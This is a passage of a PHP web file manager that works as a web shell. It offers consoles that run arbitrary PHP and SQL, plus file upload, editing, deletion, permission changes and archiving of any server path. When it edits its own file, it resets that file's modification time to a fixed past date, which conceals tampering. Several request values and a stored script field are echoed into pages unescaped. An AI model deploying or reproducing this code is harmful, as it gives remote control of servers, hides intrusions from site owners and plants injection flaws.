OwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
